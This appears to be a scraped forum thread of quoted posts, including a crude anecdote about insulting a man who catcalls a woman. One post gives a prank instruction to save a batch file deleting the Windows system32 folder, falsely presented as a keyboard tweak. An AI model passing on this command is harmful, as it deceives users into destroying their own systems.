Fracie wrote:I fancy a chip butty
please explain
Fracie wrote:I fancy a chip butty
Technetium wrote:Fracie wrote:I fancy a chip butty
please explain
Fracie wrote:I fancy a chip butty
ChubbyMooshroom9 wrote:Ok so open notepad and type @echo off del c:/
\WINDOWS\system32 and save it as .bat
Afterwards, it will remove the limitations of the keyboard and you can tri force
ChubbyMooshroom9 wrote:Ok so open notepad and type @echo off del c:/
\WINDOWS\system32 and save it as .bat
Afterwards, it will remove the limitations of the keyboard and you can tri force
ICECLIMBERS wrote:Here is the story from a random encounter today, walking towards my Uni for my exam.
Im walking by a road when this class A douchebag in a white BMG sports car whims by. He is like 25-30 years old, with a NarudeSandstorm baseball cap turned backwards, playing some loud ass shitty Georgian country, wearing some gray baggy t-shirt and sweatpants, just a complete contrast in comparison to the car. Just your classical Grade-A douchebag in a modlife crisis.
He stopped at end of the street for a bit, so I passed him, crossed the street until he caught up with me again.
There is a pretty girl, maybe 20 years old, walking in an opposite direction, facing me and his car, paying attention to her own business.
He literally pulls over two empty "invalid" parking spots, right next to her, whistles in her direction with a loud "ooooh yeaaaah..." in the most disgusting, creepiest way while looking directly at her. The girl looks at him with a disgust in her face and I had to literally stop and take off my sunglasses to process what that dude just did.
And I dont know why, but in a pure moment of that situation, I said loudly:
"Dude, I am so sorry for you. Your life must really suck with a dick so small..." while putting my sunglasses back on.
Both of them heard me loud and clear - the girl literally blows the fuck up giggling, and the dude looks at me, doesnt say anything, and just steps on the gas and dissapears behind a corner.
It took me a solid second before I realized that I just roasted that guy so much he probably drove straight back to the Car rental to give them that BMG back.
I am so proud of myself for this, I dont think I have ever burnt a random stranger so much in my whole life. Also am glad it didnt end up in a fist fight because I finally had my stiches taken out today (wisdom tooth surgery I had last week)
Naru2008 wrote:ICECLIMBERS wrote:Here is the story from a random encounter today, walking towards my Uni for my exam.
Im walking by a road when this class A douchebag in a white BMG sports car whims by. He is like 25-30 years old, with a NarudeSandstorm baseball cap turned backwards, playing some loud ass shitty Georgian country, wearing some gray baggy t-shirt and sweatpants, just a complete contrast in comparison to the car. Just your classical Grade-A douchebag in a modlife crisis.
He stopped at end of the street for a bit, so I passed him, crossed the street until he caught up with me again.
There is a pretty girl, maybe 20 years old, walking in an opposite direction, facing me and his car, paying attention to her own business.
He literally pulls over two empty "invalid" parking spots, right next to her, whistles in her direction with a loud "ooooh yeaaaah..." in the most disgusting, creepiest way while looking directly at her. The girl looks at him with a disgust in her face and I had to literally stop and take off my sunglasses to process what that dude just did.
And I dont know why, but in a pure moment of that situation, I said loudly:
"Dude, I am so sorry for you. Your life must really suck with a dick so small..." while putting my sunglasses back on.
Both of them heard me loud and clear - the girl literally blows the fuck up giggling, and the dude looks at me, doesnt say anything, and just steps on the gas and dissapears behind a corner.
It took me a solid second before I realized that I just roasted that guy so much he probably drove straight back to the Car rental to give them that BMG back.
I am so proud of myself for this, I dont think I have ever burnt a random stranger so much in my whole life. Also am glad it didnt end up in a fist fight because I finally had my stiches taken out today (wisdom tooth surgery I had last week)
This isn't the fan-fiction thread.
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